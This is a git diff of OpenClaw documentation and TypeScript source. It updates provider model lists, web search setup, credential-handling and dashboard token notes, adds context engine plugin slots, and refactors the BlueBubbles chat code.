----------------------------------- | -| **General chat** | `llama-3.3-70b` | Good all-around, fully private | -| **High-capability option** | `claude-opus-45` | Higher quality for hard tasks | -| **Privacy + Claude quality** | `claude-opus-45` | Best reasoning via anonymized proxy | -| **Coding** | `qwen3-coder-480b-a35b-instruct` | Code-optimized, 262k context | -| **Vision tasks** | `qwen3-vl-235b-a22b` | Best private vision model | -| **Uncensored** | `venice-uncensored` | No content restrictions | -| **Fast + cheap** | `qwen3-4b` | Lightweight, still capable | -| **Complex reasoning** | `deepseek-v3.2` | Strong reasoning, private | +| Use Case | Recommended Model | Why | +| -------------------------- | -------------------------------- | -------------------------------------------- | +| **General chat (default)** | `kimi-k2-5` | Strong private reasoning plus vision | +| **Best overall quality** | `claude-opus-4-6` | Strongest anonymized Venice option | +| **Privacy + coding** | `qwen3-coder-480b-a35b-instruct` | Private coding model with large context | +| **Private vision** | `kimi-k2-5` | Vision support without leaving private mode | +| **Fast + cheap** | `qwen3-4b` | Lightweight reasoning model | +| **Complex private tasks** | `deepseek-v3.2` | Strong reasoning, but no Venice tool support | +| **Uncensored** | `venice-uncensored` | No content restrictions | -## Available Models (25 Total) +## Available Models (41 Total) -### Private Models (15) — Fully Private, No Logging +### Private Models (26) — Fully Private, No Logging -| Model ID | Name | Context (tokens) | Features | -| -------------------------------- | ----------------------- | ---------------- | ----------------------- | -| `llama-3.3-70b` | Llama 3.3 70B | 131k | General | -| `llama-3.2-3b` | Llama 3.2 3B | 131k | Fast, lightweight | -| `hermes-3-llama-3.1-405b` | Hermes 3 Llama 3.1 405B | 131k | Complex tasks | -| `qwen3-235b-a22b-thinking-2507` | Qwen3 235B Thinking | 131k | Reasoning | -| `qwen3-235b-a22b-instruct-2507` | Qwen3 235B Instruct | 131k | General | -| `qwen3-coder-480b-a35b-instruct` | Qwen3 Coder 480B | 262k | Code | -| `qwen3-next-80b` | Qwen3 Next 80B | 262k | General | -| `qwen3-vl-235b-a22b` | Qwen3 VL 235B | 262k | Vision | -| `qwen3-4b` | Venice Small (Qwen3 4B) | 32k | Fast, reasoning | -| `deepseek-v3.2` | DeepSeek V3.2 | 163k | Reasoning | -| `venice-uncensored` | Venice Uncensored | 32k | Uncensored | -| `mistral-31-24b` | Venice Medium (Mistral) | 131k | Vision | -| `google-gemma-3-27b-it` | Gemma 3 27B Instruct | 202k | Vision | -| `openai-gpt-oss-120b` | OpenAI GPT OSS 120B | 131k | General | -| `zai-org-glm-4.7` | GLM 4.7 | 202k | Reasoning, multilingual | +| Model ID | Name | Context | Features | +| -------------------------------------- | ----------------------------------- | ------- | -------------------------- | +| `kimi-k2-5` | Kimi K2.5 | 256k | Default, reasoning, vision | +| `kimi-k2-thinking` | Kimi K2 Thinking | 256k | Reasoning | +| `llama-3.3-70b` | Llama 3.3 70B | 128k | General | +| `llama-3.2-3b` | Llama 3.2 3B | 128k | General | +| `hermes-3-llama-3.1-405b` | Hermes 3 Llama 3.1 405B | 128k | General, tools disabled | +| `qwen3-235b-a22b-thinking-2507` | Qwen3 235B Thinking | 128k | Reasoning | +| `qwen3-235b-a22b-instruct-2507` | Qwen3 235B Instruct | 128k | General | +| `qwen3-coder-480b-a35b-instruct` | Qwen3 Coder 480B | 256k | Coding | +| `qwen3-coder-480b-a35b-instruct-turbo` | Qwen3 Coder 480B Turbo | 256k | Coding | +| `qwen3-5-35b-a3b` | Qwen3.5 35B A3B | 256k | Reasoning, vision | +| `qwen3-next-80b` | Qwen3 Next 80B | 256k | General | +| `qwen3-vl-235b-a22b` | Qwen3 VL 235B (Vision) | 256k | Vision | +| `qwen3-4b` | Venice Small (Qwen3 4B) | 32k | Fast, reasoning | +| `deepseek-v3.2` | DeepSeek V3.2 | 160k | Reasoning, tools disabled | +| `venice-uncensored` | Venice Uncensored (Dolphin-Mistral) | 32k | Uncensored, tools disabled | +| `mistral-31-24b` | Venice Medium (Mistral) | 128k | Vision | +| `google-gemma-3-27b-it` | Google Gemma 3 27B Instruct | 198k | Vision | +| `openai-gpt-oss-120b` | OpenAI GPT OSS 120B | 128k | General | +| `nvidia-nemotron-3-nano-30b-a3b` | NVIDIA Nemotron 3 Nano 30B | 128k | General | +| `olafangensan-glm-4.7-flash-heretic` | GLM 4.7 Flash Heretic | 128k | Reasoning | +| `zai-org-glm-4.6` | GLM 4.6 | 198k | General | +| `zai-org-glm-4.7` | GLM 4.7 | 198k | Reasoning | +| `zai-org-glm-4.7-flash` | GLM 4.7 Flash | 128k | Reasoning | +| `zai-org-glm-5` | GLM 5 | 198k | Reasoning | +| `minimax-m21` | MiniMax M2.1 | 198k | Reasoning | +| `minimax-m25` | MiniMax M2.5 | 198k | Reasoning | -### Anonymized Models (10) — Via Venice Proxy +### Anonymized Models (15) — Via Venice Proxy -| Model ID | Original | Context (tokens) | Features | -| ------------------------ | ----------------- | ---------------- | ----------------- | -| `claude-opus-45` | Claude Opus 4.5 | 202k | Reasoning, vision | -| `claude-sonnet-45` | Claude Sonnet 4.5 | 202k | Reasoning, vision | -| `openai-gpt-52` | GPT-5.2 | 262k | Reasoning | -| `openai-gpt-52-codex` | GPT-5.2 Codex | 262k | Reasoning, vision | -| `gemini-3-pro-preview` | Gemini 3 Pro | 202k | Reasoning, vision | -| `gemini-3-flash-preview` | Gemini 3 Flash | 262k | Reasoning, vision | -| `grok-41-fast` | Grok 4.1 Fast | 262k | Reasoning, vision | -| `grok-code-fast-1` | Grok Code Fast 1 | 262k | Reasoning, code | -| `kimi-k2-thinking` | Kimi K2 Thinking | 262k | Reasoning | -| `minimax-m21` | MiniMax M2.5 | 202k | Reasoning | +| Model ID | Name | Context | Features | +| ------------------------------- | ------------------------------ | ------- | ------------------------- | +| `claude-opus-4-6` | Claude Opus 4.6 (via Venice) | 1M | Reasoning, vision | +| `claude-opus-4-5` | Claude Opus 4.5 (via Venice) | 198k | Reasoning, vision | +| `claude-sonnet-4-6` | Claude Sonnet 4.6 (via Venice) | 1M | Reasoning, vision | +| `claude-sonnet-4-5` | Claude Sonnet 4.5 (via Venice) | 198k | Reasoning, vision | +| `openai-gpt-54` | GPT-5.4 (via Venice) | 1M | Reasoning, vision | +| `openai-gpt-53-codex` | GPT-5.3 Codex (via Venice) | 400k | Reasoning, vision, coding | +| `openai-gpt-52` | GPT-5.2 (via Venice) | 256k | Reasoning | +| `openai-gpt-52-codex` | GPT-5.2 Codex (via Venice) | 256k | Reasoning, vision, coding | +| `openai-gpt-4o-2024-11-20` | GPT-4o (via Venice) | 128k | Vision | +| `openai-gpt-4o-mini-2024-07-18` | GPT-4o Mini (via Venice) | 128k | Vision | +| `gemini-3-1-pro-preview` | Gemini 3.1 Pro (via Venice) | 1M | Reasoning, vision | +| `gemini-3-pro-preview` | Gemini 3 Pro (via Venice) | 198k | Reasoning, vision | +| `gemini-3-flash-preview` | Gemini 3 Flash (via Venice) | 256k | Reasoning, vision | +| `grok-41-fast` | Grok 4.1 Fast (via Venice) | 1M | Reasoning, vision | +| `grok-code-fast-1` | Grok Code Fast 1 (via Venice) | 256k | Reasoning, coding | ## Model Discovery @@ -194,11 +209,11 @@ Venice uses a credit-based system. Check [venice.ai/pricing](https://venice.ai/p ## Usage Examples ```bash -# Use default private model -openclaw agent --model venice/llama-3.3-70b --message "Quick health check" +# Use the default private model +openclaw agent --model venice/kimi-k2-5 --message "Quick health check" -# Use Claude via Venice (anonymized) -openclaw agent --model venice/claude-opus-45 --message "Summarize this task" +# Use Claude Opus via Venice (anonymized) +openclaw agent --model venice/claude-opus-4-6 --message "Summarize this task" # Use uncensored model openclaw agent --model venice/venice-uncensored --message "Draft options" @@ -234,7 +249,7 @@ Venice API is at `https://api.venice.ai/api/v1`. Ensure your network allows HTTP ```json5 { env: { VENICE_API_KEY: "vapi_..." }, - agents: { defaults: { model: { primary: "venice/llama-3.3-70b" } } }, + agents: { defaults: { model: { primary: "venice/kimi-k2-5" } } }, models: { mode: "merge", providers: { @@ -244,13 +259,13 @@ Venice API is at `https://api.venice.ai/api/v1`. Ensure your network allows HTTP api: "openai-completions", models: [ { - id: "llama-3.3-70b", - name: "Llama 3.3 70B", - reasoning: false, - input: ["text"], + id: "kimi-k2-5", + name: "Kimi K2.5", + reasoning: true, + input: ["text", "image"], cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, }, ], }, diff --git a/docs/reference/api-usage-costs.md b/docs/reference/api-usage-costs.md index 071d91f3b30..28ead36b0c1 100644 --- a/docs/reference/api-usage-costs.md +++ b/docs/reference/api-usage-costs.md @@ -75,12 +75,15 @@ You can keep it local with `memorySearch.provider = "local"` (no API usage). See [Memory](/concepts/memory). -### 4) Web search tool (Brave / Perplexity via OpenRouter) +### 4) Web search tool -`web_search` uses API keys and may incur usage charges: +`web_search` uses API keys and may incur usage charges depending on your provider: +- **Perplexity Search API**: `PERPLEXITY_API_KEY` - **Brave Search API**: `BRAVE_API_KEY` or `tools.web.search.apiKey` -- **Perplexity** (via OpenRouter): `PERPLEXITY_API_KEY` or `OPENROUTER_API_KEY` +- **Gemini (Google Search)**: `GEMINI_API_KEY` +- **Grok (xAI)**: `XAI_API_KEY` +- **Kimi (Moonshot)**: `KIMI_API_KEY` or `MOONSHOT_API_KEY` See [Web tools](/tools/web). diff --git a/docs/reference/secretref-credential-surface.md b/docs/reference/secretref-credential-surface.md index d356e4f809e..dd1b5f1fd2f 100644 --- a/docs/reference/secretref-credential-surface.md +++ b/docs/reference/secretref-credential-surface.md @@ -23,6 +23,7 @@ Scope intent: [//]: # "secretref-supported-list-start" - `models.providers.*.apiKey` +- `models.providers.*.headers.*` - `skills.entries.*.apiKey` - `agents.defaults.memorySearch.remote.apiKey` - `agents.list[].memorySearch.remote.apiKey` @@ -98,6 +99,7 @@ Notes: - Auth-profile plan targets require `agentId`. - Plan entries target `profiles.*.key` / `profiles.*.token` and write sibling refs (`keyRef` / `tokenRef`). - Auth-profile refs are included in runtime resolution and audit coverage. +- For SecretRef-managed model providers, generated `agents/*/agent/models.json` entries persist non-secret markers (not resolved secret values) for `apiKey`/header surfaces. - For web search: - In explicit provider mode (`tools.web.search.provider` set), only the selected provider key is active. - In auto mode (`tools.web.search.provider` unset), `tools.web.search.apiKey` and provider-specific keys are active. diff --git a/docs/reference/secretref-user-supplied-credentials-matrix.json b/docs/reference/secretref-user-supplied-credentials-matrix.json index ac454a605a6..773ef8ab162 100644 --- a/docs/reference/secretref-user-supplied-credentials-matrix.json +++ b/docs/reference/secretref-user-supplied-credentials-matrix.json @@ -426,6 +426,13 @@ "secretShape": "secret_input", "optIn": true }, + { + "id": "models.providers.*.headers.*", + "configFile": "openclaw.json", + "path": "models.providers.*.headers.*", + "secretShape": "secret_input", + "optIn": true + }, { "id": "skills.entries.*.apiKey", "configFile": "openclaw.json", diff --git a/docs/reference/wizard.md b/docs/reference/wizard.md index 328063a0102..2e7a43bdecc 100644 --- a/docs/reference/wizard.md +++ b/docs/reference/wizard.md @@ -94,6 +94,12 @@ For a high-level overview, see [Onboarding Wizard](/start/wizard). - [iMessage](/channels/imessage): legacy `imsg` CLI path + DB access. - DM security: default is pairing. First DM sends a code; approve via `openclaw pairing approve ` or use allowlists. + + - Pick a provider: Perplexity, Brave, Gemini, Grok, or Kimi (or skip). + - Paste your API key (QuickStart auto-detects keys from env vars or existing config). + - Skip with `--skip-search`. + - Configure later: `openclaw configure --section web`. + - macOS: LaunchAgent - Requires a logged-in user session; for headless, use a custom LaunchDaemon (not shipped). @@ -270,7 +276,7 @@ Typical fields in `~/.openclaw/openclaw.json`: - `agents.defaults.workspace` - `agents.defaults.model` / `models.providers` (if Minimax chosen) -- `tools.profile` (local onboarding defaults to `"messaging"` when unset; existing explicit values are preserved) +- `tools.profile` (local onboarding defaults to `"coding"` when unset; existing explicit values are preserved) - `gateway.*` (mode, bind, auth, tailscale) - `session.dmScope` (behavior details: [CLI Onboarding Reference](/start/wizard-cli-reference#outputs-and-internals)) - `channels.telegram.botToken`, `channels.discord.token`, `channels.signal.*`, `channels.imessage.*` diff --git a/docs/start/onboarding.md b/docs/start/onboarding.md index 3a5c86c360e..3e3401cad64 100644 --- a/docs/start/onboarding.md +++ b/docs/start/onboarding.md @@ -34,7 +34,7 @@ Security trust model: - By default, OpenClaw is a personal agent: one trusted operator boundary. - Shared/multi-user setups require lock-down (split trust boundaries, keep tool access minimal, and follow [Security](/gateway/security)). -- Local onboarding now defaults new configs to `tools.profile: "messaging"` so broad runtime/filesystem tools are opt-in. +- Local onboarding now defaults new configs to `tools.profile: "coding"` so fresh local setups keep filesystem/runtime tools without forcing the unrestricted `full` profile. - If hooks/webhooks or other untrusted content feeds are enabled, use a strong modern model tier and keep strict tool policy/sandboxing. diff --git a/docs/start/wizard-cli-reference.md b/docs/start/wizard-cli-reference.md index f9ff309be54..44f470ea73b 100644 --- a/docs/start/wizard-cli-reference.md +++ b/docs/start/wizard-cli-reference.md @@ -247,7 +247,7 @@ Typical fields in `~/.openclaw/openclaw.json`: - `agents.defaults.workspace` - `agents.defaults.model` / `models.providers` (if Minimax chosen) -- `tools.profile` (local onboarding defaults to `"messaging"` when unset; existing explicit values are preserved) +- `tools.profile` (local onboarding defaults to `"coding"` when unset; existing explicit values are preserved) - `gateway.*` (mode, bind, auth, tailscale) - `session.dmScope` (local onboarding defaults this to `per-channel-peer` when unset; existing explicit values are preserved) - `channels.telegram.botToken`, `channels.discord.token`, `channels.signal.*`, `channels.imessage.*` diff --git a/docs/start/wizard.md b/docs/start/wizard.md index 5a7ddcd4020..ef1fc52b31a 100644 --- a/docs/start/wizard.md +++ b/docs/start/wizard.md @@ -35,9 +35,10 @@ openclaw agents add -Recommended: set up a Brave Search API key so the agent can use `web_search` -(`web_fetch` works without a key). Easiest path: `openclaw configure --section web` -which stores `tools.web.search.apiKey`. Docs: [Web tools](/tools/web). +The onboarding wizard includes a web search step where you can pick a provider +(Perplexity, Brave, Gemini, Grok, or Kimi) and paste your API key so the agent +can use `web_search`. You can also configure this later with +`openclaw configure --section web`. Docs: [Web tools](/tools/web). ## QuickStart vs Advanced @@ -50,7 +51,7 @@ The wizard starts with **QuickStart** (defaults) vs **Advanced** (full control). - Workspace default (or existing workspace) - Gateway port **18789** - Gateway auth **Token** (auto‑generated, even on loopback) - - Tool policy default for new local setups: `tools.profile: "messaging"` (existing explicit profile is preserved) + - Tool policy default for new local setups: `tools.profile: "coding"` (existing explicit profile is preserved) - DM isolation default: local onboarding writes `session.dmScope: "per-channel-peer"` when unset. Details: [CLI Onboarding Reference](/start/wizard-cli-reference#outputs-and-internals) - Tailscale exposure **Off** - Telegram + WhatsApp DMs default to **allowlist** (you'll be prompted for your phone number) diff --git a/docs/tools/index.md b/docs/tools/index.md index c12cf5f68c5..0f311516dcd 100644 --- a/docs/tools/index.md +++ b/docs/tools/index.md @@ -256,7 +256,7 @@ Enable with `tools.loopDetection.enabled: true` (default is `false`). ### `web_search` -Search the web using Brave Search API. +Search the web using Perplexity, Brave, Gemini, Grok, or Kimi. Core parameters: @@ -265,7 +265,7 @@ Core parameters: Notes: -- Requires a Brave API key (recommended: `openclaw configure --section web`, or set `BRAVE_API_KEY`). +- Requires an API key for the chosen provider (recommended: `openclaw configure --section web`). - Enable via `tools.web.search.enabled`. - Responses are cached (default 15 min). - See [Web tools](/tools/web) for setup. @@ -461,7 +461,8 @@ Core actions: Notes: -- `config.schema.lookup` expects a targeted dot path such as `gateway.auth` or `agents.list.*.heartbeat`. +- `config.schema.lookup` expects a targeted config path such as `gateway.auth` or `agents.list.*.heartbeat`. +- Paths may include slash-delimited plugin ids when addressing `plugins.entries.`, for example `plugins.entries.pack/one.config`. - Use `delayMs` (defaults to 2000) to avoid interrupting an in-flight reply. - `config.schema` remains available to internal Control UI flows and is not exposed through the agent `gateway` tool. - `restart` is enabled by default; set `commands.restart: false` to disable it. diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index 4a20ec0c37c..77666b7ac11 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -31,8 +31,12 @@ openclaw plugins list openclaw plugins install @openclaw/voice-call ``` -Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file -specs are rejected. +Npm specs are **registry-only** (package name + optional **exact version** or +**dist-tag**). Git/URL/file specs and semver ranges are rejected. + +Bare specs and `@latest` stay on the stable track. If npm resolves either of +those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a +prerelease tag such as `@beta`/`@rc` or an exact prerelease version. 3. Restart the Gateway, then configure under `plugins.entries..config`. @@ -66,6 +70,7 @@ Plugins can register: - Agent tools - CLI commands - Background services +- Context engines - Optional config validation - **Skills** (by listing `skills` directories in the plugin manifest) - **Auto-reply commands** (execute without invoking the AI agent) @@ -136,6 +141,7 @@ Notes: - `api.registerHttpHandler(...)` is obsolete. Use `api.registerHttpRoute(...)`. - Plugin routes must declare `auth` explicitly. - Exact `path + match` conflicts are rejected unless `replaceExisting: true`, and one plugin cannot replace another plugin's route. +- Overlapping routes with different `auth` levels are rejected. Keep `exact`/`prefix` fallthrough chains on the same auth level only. ## Plugin SDK import paths @@ -370,6 +376,7 @@ Fields: - `allow`: allowlist (optional) - `deny`: denylist (optional; deny wins) - `load.paths`: extra plugin files/dirs +- `slots`: exclusive slot selectors such as `memory` and `contextEngine` - `entries.`: per‑plugin toggles + config Config changes **require a gateway restart**. @@ -393,13 +400,29 @@ Some plugin categories are **exclusive** (only one active at a time). Use plugins: { slots: { memory: "memory-core", // or "none" to disable memory plugins + contextEngine: "legacy", // or a plugin id such as "lossless-claw" }, }, } ``` -If multiple plugins declare `kind: "memory"`, only the selected one loads. Others -are disabled with diagnostics. +Supported exclusive slots: + +- `memory`: active memory plugin (`"none"` disables memory plugins) +- `contextEngine`: active context engine plugin (`"legacy"` is the built-in default) + +If multiple plugins declare `kind: "memory"` or `kind: "context-engine"`, only +the selected plugin loads for that slot. Others are disabled with diagnostics. + +### Context engine plugins + +Context engine plugins own session context orchestration for ingest, assembly, +and compaction. Register them from your plugin with +`api.registerContextEngine(id, factory)`, then select the active engine with +`plugins.slots.contextEngine`. + +Use this when your plugin needs to replace or extend the default context +pipeline rather than just add memory search or hooks. ## Control UI (schema + labels) @@ -465,6 +488,37 @@ Plugins export either: - A function: `(api) => { ... }` - An object: `{ id, name, configSchema, register(api) { ... } }` +Context engine plugins can also register a runtime-owned context manager: + +```ts +export default function (api) { + api.registerContextEngine("lossless-claw", () => ({ + info: { id: "lossless-claw", name: "Lossless Claw", ownsCompaction: true }, + async ingest() { + return { ingested: true }; + }, + async assemble({ messages }) { + return { messages, estimatedTokens: 0 }; + }, + async compact() { + return { ok: true, compacted: false }; + }, + })); +} +``` + +Then enable it in config: + +```json5 +{ + plugins: { + slots: { + contextEngine: "lossless-claw", + }, + }, +} +``` + ## Plugin hooks Plugins can register hooks at runtime. This lets a plugin bundle event-driven diff --git a/docs/tools/skills.md b/docs/tools/skills.md index de3fe807ed2..05369677b89 100644 --- a/docs/tools/skills.md +++ b/docs/tools/skills.md @@ -70,6 +70,7 @@ that up as `/skills` on the next session. - Treat third-party skills as **untrusted code**. Read them before enabling. - Prefer sandboxed runs for untrusted inputs and risky tools. See [Sandboxing](/gateway/sandboxing). +- Workspace and extra-dir skill discovery only accepts skill roots and `SKILL.md` files whose resolved realpath stays inside the configured root. - `skills.entries.*.env` and `skills.entries.*.apiKey` inject secrets into the **host** process for that agent turn (not the sandbox). Keep secrets out of prompts and logs. - For a broader threat model and checklists, see [Security](/gateway/security). diff --git a/docs/tools/web.md b/docs/tools/web.md index c87638b8d86..3026f5ff1c5 100644 --- a/docs/tools/web.md +++ b/docs/tools/web.md @@ -55,7 +55,7 @@ Use `openclaw configure --section web` to set up your API key and choose a provi ### Perplexity Search -1. Create a Perplexity account at +1. Create a Perplexity account at [perplexity.ai/settings/api](https://www.perplexity.ai/settings/api) 2. Generate an API key in the dashboard 3. Run `openclaw configure --section web` to store the key in config, or set `PERPLEXITY_API_KEY` in your environment. @@ -63,7 +63,7 @@ See [Perplexity Search API Docs](https://docs.perplexity.ai/guides/search-quicks ### Brave Search -1. Create a Brave Search API account at +1. Create a Brave Search API account at [brave.com/search/api](https://brave.com/search/api/) 2. In the dashboard, choose the **Data for Search** plan (not "Data for AI") and generate an API key. 3. Run `openclaw configure --section web` to store the key in config (recommended), or set `BRAVE_API_KEY` in your environment. @@ -104,7 +104,7 @@ Brave provides paid plans; check the Brave API portal for the current limits and search: { enabled: true, provider: "brave", - apiKey: "BSA...", // optional if BRAVE_API_KEY is set + apiKey: "YOUR_BRAVE_API_KEY", // optional if BRAVE_API_KEY is set // pragma: allowlist secret }, }, }, diff --git a/docs/web/control-ui.md b/docs/web/control-ui.md index ff14af8c4cd..bbee9443b83 100644 --- a/docs/web/control-ui.md +++ b/docs/web/control-ui.md @@ -231,13 +231,14 @@ http://localhost:5173/?gatewayUrl=ws://:18789 Optional one-time auth (if needed): ```text -http://localhost:5173/?gatewayUrl=wss://:18789&token= +http://localhost:5173/?gatewayUrl=wss://:18789#token= ``` Notes: - `gatewayUrl` is stored in localStorage after load and removed from the URL. -- `token` is stored in localStorage; `password` is kept in memory only. +- `token` is imported into memory for the current tab and stripped from the URL; it is not stored in localStorage. +- `password` is kept in memory only. - When `gatewayUrl` is set, the UI does not fall back to config or environment credentials. Provide `token` (or `password`) explicitly. Missing explicit credentials is an error. - Use `wss://` when the Gateway is behind TLS (Tailscale Serve, HTTPS proxy, etc.). diff --git a/docs/web/dashboard.md b/docs/web/dashboard.md index 02e084ffdae..64780ef40d6 100644 --- a/docs/web/dashboard.md +++ b/docs/web/dashboard.md @@ -24,7 +24,8 @@ Authentication is enforced at the WebSocket handshake via `connect.params.auth` (token or password). See `gateway.auth` in [Gateway configuration](/gateway/configuration). Security note: the Control UI is an **admin surface** (chat, config, exec approvals). -Do not expose it publicly. The UI stores the token in `localStorage` after first load. +Do not expose it publicly. The UI keeps dashboard URL tokens in memory for the current tab +and strips them from the URL after load. Prefer localhost, Tailscale Serve, or an SSH tunnel. ## Fast path (recommended) @@ -36,7 +37,7 @@ Prefer localhost, Tailscale Serve, or an SSH tunnel. ## Token basics (local vs remote) - **Localhost**: open `http://127.0.0.1:18789/`. -- **Token source**: `gateway.auth.token` (or `OPENCLAW_GATEWAY_TOKEN`); the UI stores a copy in localStorage after you connect. +- **Token source**: `gateway.auth.token` (or `OPENCLAW_GATEWAY_TOKEN`); `openclaw dashboard` can pass it via URL fragment for one-time bootstrap, but the Control UI does not persist gateway tokens in localStorage. - If `gateway.auth.token` is SecretRef-managed, `openclaw dashboard` prints/copies/opens a non-tokenized URL by design. This avoids exposing externally managed tokens in shell logs, clipboard history, or browser-launch arguments. - If `gateway.auth.token` is configured as a SecretRef and is unresolved in your current shell, `openclaw dashboard` still prints a non-tokenized URL plus actionable auth setup guidance. - **Not localhost**: use Tailscale Serve (tokenless for Control UI/WebSocket if `gateway.auth.allowTailscale: true`, assumes trusted gateway host; HTTP APIs still need token/password), tailnet bind with a token, or an SSH tunnel. See [Web surfaces](/web). diff --git a/docs/zh-CN/index.md b/docs/zh-CN/index.md index 65d2db9ea83..3999dc6fda4 100644 --- a/docs/zh-CN/index.md +++ b/docs/zh-CN/index.md @@ -118,7 +118,7 @@ Gateway 网关启动后,打开浏览器控制界面。 - 远程访问:[Web 界面](/web)和 [Tailscale](/gateway/tailscale)

- OpenClaw + OpenClaw

## 配置(可选) diff --git a/extensions/acpx/package.json b/extensions/acpx/package.json index 7a92fd1a4e6..b60e427122a 100644 --- a/extensions/acpx/package.json +++ b/extensions/acpx/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/acpx", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw ACP runtime backend via acpx", "type": "module", "dependencies": { diff --git a/extensions/bluebubbles/package.json b/extensions/bluebubbles/package.json index 122cd21dcea..7a381ee85ff 100644 --- a/extensions/bluebubbles/package.json +++ b/extensions/bluebubbles/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/bluebubbles", - "version": "2026.3.2", + "version": "2026.3.7", "description": "OpenClaw BlueBubbles channel plugin", "type": "module", "dependencies": { diff --git a/extensions/bluebubbles/src/channel.ts b/extensions/bluebubbles/src/channel.ts index e00364cf115..741f93d3ae0 100644 --- a/extensions/bluebubbles/src/channel.ts +++ b/extensions/bluebubbles/src/channel.ts @@ -6,6 +6,7 @@ import type { import { applyAccountNameToChannelSection, buildChannelConfigSchema, + buildComputedAccountStatusSnapshot, buildProbeChannelStatusSummary, collectBlueBubblesStatusIssues, DEFAULT_ACCOUNT_ID, @@ -25,6 +26,7 @@ import { resolveDefaultBlueBubblesAccountId, } from "./accounts.js"; import { bluebubblesMessageActions } from "./actions.js"; +import { applyBlueBubblesConnectionConfig } from "./config-apply.js"; import { BlueBubblesConfigSchema } from "./config-schema.js"; import { sendBlueBubblesMedia } from "./media-send.js"; import { resolveBlueBubblesMessageId } from "./monitor.js"; @@ -255,40 +257,27 @@ export const bluebubblesPlugin: ChannelPlugin = { }) : namedConfig; if (accountId === DEFAULT_ACCOUNT_ID) { - return { - ...next, - channels: { - ...next.channels, - bluebubbles: { - ...next.channels?.bluebubbles, - enabled: true, - ...(input.httpUrl ? { serverUrl: input.httpUrl } : {}), - ...(input.password ? { password: input.password } : {}), - ...(input.webhookPath ? { webhookPath: input.webhookPath } : {}), - }, + return applyBlueBubblesConnectionConfig({ + cfg: next, + accountId, + patch: { + serverUrl: input.httpUrl, + password: input.password, + webhookPath: input.webhookPath, }, - } as OpenClawConfig; + onlyDefinedFields: true, + }); } - return { - ...next, - channels: { - ...next.channels, - bluebubbles: { - ...next.channels?.bluebubbles, - enabled: true, - accounts: { - ...next.channels?.bluebubbles?.accounts, - [accountId]: { - ...next.channels?.bluebubbles?.accounts?.[accountId], - enabled: true, - ...(input.httpUrl ? { serverUrl: input.httpUrl } : {}), - ...(input.password ? { password: input.password } : {}), - ...(input.webhookPath ? { webhookPath: input.webhookPath } : {}), - }, - }, - }, + return applyBlueBubblesConnectionConfig({ + cfg: next, + accountId, + patch: { + serverUrl: input.httpUrl, + password: input.password, + webhookPath: input.webhookPath, }, - } as OpenClawConfig; + onlyDefinedFields: true, + }); }, }, pairing: { @@ -372,20 +361,18 @@ export const bluebubblesPlugin: ChannelPlugin = { buildAccountSnapshot: ({ account, runtime, probe }) => { const running = runtime?.running ?? false; const probeOk = (probe as BlueBubblesProbe | undefined)?.ok; - return { + const base = buildComputedAccountStatusSnapshot({ accountId: account.accountId, name: account.name, enabled: account.enabled, configured: account.configured, - baseUrl: account.baseUrl, - running, - connected: probeOk ?? running, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, + runtime, probe, - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, + }); + return { + ...base, + baseUrl: account.baseUrl, + connected: probeOk ?? running, }; }, }, diff --git a/extensions/bluebubbles/src/chat.ts b/extensions/bluebubbles/src/chat.ts index 5489077eaca..b63f09272f2 100644 --- a/extensions/bluebubbles/src/chat.ts +++ b/extensions/bluebubbles/src/chat.ts @@ -30,6 +30,39 @@ function resolvePartIndex(partIndex: number | undefined): number { return typeof partIndex === "number" ? partIndex : 0; } +async function sendBlueBubblesChatEndpointRequest(params: { + chatGuid: string; + opts: BlueBubblesChatOpts; + endpoint: "read" | "typing"; + method: "POST" | "DELETE"; + action: "read" | "typing"; +}): Promise { + const trimmed = params.chatGuid.trim(); + if (!trimmed) { + return; + } + const { baseUrl, password, accountId } = resolveAccount(params.opts); + if (getCachedBlueBubblesPrivateApiStatus(accountId) === false) { + return; + } + const url = buildBlueBubblesApiUrl({ + baseUrl, + path: `/api/v1/chat/${encodeURIComponent(trimmed)}/${params.endpoint}`, + password, + }); + const res = await blueBubblesFetchWithTimeout( + url, + { method: params.method }, + params.opts.timeoutMs, + ); + if (!res.ok) { + const errorText = await res.text().catch(() => ""); + throw new Error( + `BlueBubbles ${params.action} failed (${res.status}): ${errorText || "unknown"}`, + ); + } +} + async function sendPrivateApiJsonRequest(params: { opts: BlueBubblesChatOpts; feature: string; @@ -65,24 +98,13 @@ export async function markBlueBubblesChatRead( chatGuid: string, opts: BlueBubblesChatOpts = {}, ): Promise { - const trimmed = chatGuid.trim(); - if (!trimmed) { - return; - } - const { baseUrl, password, accountId } = resolveAccount(opts); - if (getCachedBlueBubblesPrivateApiStatus(accountId) === false) { - return; - } - const url = buildBlueBubblesApiUrl({ - baseUrl, - path: `/api/v1/chat/${encodeURIComponent(trimmed)}/read`, - password, + await sendBlueBubblesChatEndpointRequest({ + chatGuid, + opts, + endpoint: "read", + method: "POST", + action: "read", }); - const res = await blueBubblesFetchWithTimeout(url, { method: "POST" }, opts.timeoutMs); - if (!res.ok) { - const errorText = await res.text().catch(() => ""); - throw new Error(`BlueBubbles read failed (${res.status}): ${errorText || "unknown"}`); - } } export async function sendBlueBubblesTyping( @@ -90,28 +112,13 @@ export async function sendBlueBubblesTyping( typing: boolean, opts: BlueBubblesChatOpts = {}, ): Promise { - const trimmed = chatGuid.trim(); - if (!trimmed) { - return; - } - const { baseUrl, password, accountId } = resolveAccount(opts); - if (getCachedBlueBubblesPrivateApiStatus(accountId) === false) { - return; - } - const url = buildBlueBubblesApiUrl({ - baseUrl, - path: `/api/v1/chat/${encodeURIComponent(trimmed)}/typing`, - password, + await sendBlueBubblesChatEndpointRequest({ + chatGuid, + opts, + endpoint: "typing", + method: typing ? "POST" : "DELETE", + action: "typing", }); - const res = await blueBubblesFetchWithTimeout( - url, - { method: typing ? "POST" : "DELETE" }, - opts.timeoutMs, 